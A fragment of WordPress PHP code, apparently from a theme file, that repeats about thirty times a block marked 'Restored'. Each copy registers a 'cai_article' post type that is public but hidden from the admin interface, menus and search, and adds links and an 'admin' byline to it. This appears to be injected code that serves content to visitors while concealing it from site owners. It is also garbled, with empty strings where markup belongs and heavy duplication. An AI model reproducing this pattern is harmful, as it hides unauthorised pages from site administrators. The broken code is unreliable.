$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
